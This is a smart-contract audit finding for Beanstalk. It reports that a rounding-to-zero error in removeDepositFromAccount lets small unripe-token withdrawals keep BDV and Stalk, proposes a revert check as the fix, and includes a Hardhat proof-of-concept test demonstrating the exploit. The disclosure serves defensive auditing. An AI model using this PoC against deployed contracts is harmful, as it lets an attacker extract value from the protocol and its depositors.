Small unripe token withdrawals don't decrease BDV and Stalk
For any whitelisted token where `bdvCalc(amountDeposited) < amountDeposited`, a user can deposit that token and then withdraw in small amounts to avoid decreasing BDV and Stalk. This is achieved by exploiting a rounding down to zero precision loss in LibTokenSilo::removeDepositFromAccount:\\n```\\n// @audit small unripe bean withdrawals don't decrease BDV and Stalk\\n// due to rounding down to zero precision loss. Every token where\\n// `bdvCalc(amountDeposited) < amountDeposited` is vulnerable\\nuint256 removedBDV = amount.mul(crateBDV).div(crateAmount);\\n```\\n
`LibTokenSilo::removeDepositFromAccount` should revert if `removedBDV == 0`. A similar check already exists in `LibTokenSilo::depositWithBDV` but is missing in `removeDepositFromAccount()` when calculating `removedBDV` for partial withdrawals.\\nThe breaking of protocol invariants could lead to other serious issues that have not yet been identified but may well exist if core properties do not hold. We would urge the team to consider fixing this bug as soon as possible, prior to or as part of the BIP-39 upgrade.
An attacker can withdraw deposited assets without decreasing BDV and Stalk. While the cost to perform this attack is likely more than the value an attacker would stand to gain, the potential impact should definitely be explored more closely especially considering the introduction of the Unripe Chop Convert in BIP-39 as this could have other unintended consequences in relation to this bug (given that the inflated BDV of an Unripe Token will persist once deposit is converted to its ripe counterpart, potentially allowing value to be extracted that way depending on how this BDV is used/manipulated elsewhere).\\nThe other primary consideration for this bug is that it breaks the mechanism that Stalk is supposed to be lost when withdrawing deposited assets and keeps the `totalDepositedBdv` artificially high, violating the invariant that the `totalDepositedBdv` value for a token should be the sum of the BDV value of all the individual deposits.\\nProof of Concept: Add this PoC to `SiloToken.test.js` under the section describe("1 deposit, some", async function () {:\\n```\\nit('audit small unripe bean withdrawals dont decrease BDV and Stalks', async function () {\\n    let initialUnripeBeanDeposited    = to6('10');\\n    let initialUnripeBeanDepositedBdv = '2355646';\\n    let initialTotalStalk = pruneToStalk(initialUnripeBeanDeposited).add(toStalk('0.5'));\\n\\n    // verify initial state\\n    expect(await this.silo.getTotalDeposited(UNRIPE_BEAN)).to.eq(initialUnripeBeanDeposited);\\n    expect(await this.silo.getTotalDepositedBdv(UNRIPE_BEAN)).to.eq(initialUnripeBeanDepositedBdv);\\n    expect(await this.silo.totalStalk()).to.eq(initialTotalStalk);\\n\\n    // snapshot EVM state as we want to restore it after testing the normal\\n    // case works as expected\\n    let snapshotId = await network.provider.send('evm_snapshot');\\n\\n    // normal case: withdrawing total UNRIPE_BEAN correctly decreases BDV & removes stalks\\n    const stem = await this.silo.seasonToStem(UNRIPE_BEAN, '10');\\n    await this.silo.connect(user).withdrawDeposit(UNRIPE_BEAN, stem, initialUnripeBeanDeposited, EXTERNAL);\\n\\n    // verify UNRIPE_BEAN totalDeposited == 0\\n    expect(await this.silo.getTotalDeposited(UNRIPE_BEAN)).to.eq('0');\\n    // verify UNRIPE_BEAN totalDepositedBDV == 0\\n    expect(await this.silo.getTotalDepositedBdv(UNRIPE_BEAN)).to.eq('0');\\n    // verify silo.totalStalk() == 0\\n    expect(await this.silo.totalStalk()).to.eq('0');\\n\\n    // restore EVM state to snapshot prior to testing normal case\\n    await network.provider.send("evm_revert", [snapshotId]);\\n\\n    // re-verify initial state\\n    expect(await this.silo.getTotalDeposited(UNRIPE_BEAN)).to.eq(initialUnripeBeanDeposited);\\n    expect(await this.silo.getTotalDepositedBdv(UNRIPE_BEAN)).to.eq(initialUnripeBeanDepositedBdv);\\n    expect(await this.silo.totalStalk()).to.eq(initialTotalStalk);\\n\\n    // attacker case: withdrawing small amounts of UNRIPE_BEAN doesn't decrease\\n    // BDV and doesn't remove stalks. This lets an attacker withdraw their deposits\\n    // without losing Stalks & breaks the invariant that the totalDepositedBDV should\\n    // equal the sum of the BDV of all individual deposits\\n    let smallWithdrawAmount = '4';\\n    await this.silo.connect(user).withdrawDeposit(UNRIPE_BEAN, stem, smallWithdrawAmount, EXTERNAL);\\n\\n    // verify UNRIPE_BEAN totalDeposited has been correctly decreased\\n    expect(await this.silo.getTotalDeposited(UNRIPE_BEAN)).to.eq(initialUnripeBeanDeposited.sub(smallWithdrawAmount));\\n    // verify UNRIPE_BEAN totalDepositedBDV remains unchanged!\\n    expect(await this.silo.getTotalDepositedBdv(UNRIPE_BEAN)).to.eq(initialUnripeBeanDepositedBdv);\\n    // verify silo.totalStalk() remains unchanged!\\n    expect(await this.silo.totalStalk()).to.eq(initialTotalStalk);\\n});\\n```\\n\\nRun with: `npx hardhat test --grep "audit small unripe bean withdrawals dont decrease BDV and Stalks"`.\\nAdditional Mainnet fork tests have been written to demonstrate the presence of this bug in the current and post-BIP-39 deployments of Beanstalk (see Appendix B).
```\\n// @audit small unripe bean withdrawals don't decrease BDV and Stalk\\n// due to rounding down to zero precision loss. Every token where\\n// `bdvCalc(amountDeposited) < amountDeposited` is vulnerable\\nuint256 removedBDV = amount.mul(crateBDV).div(crateAmount);\\n```\\n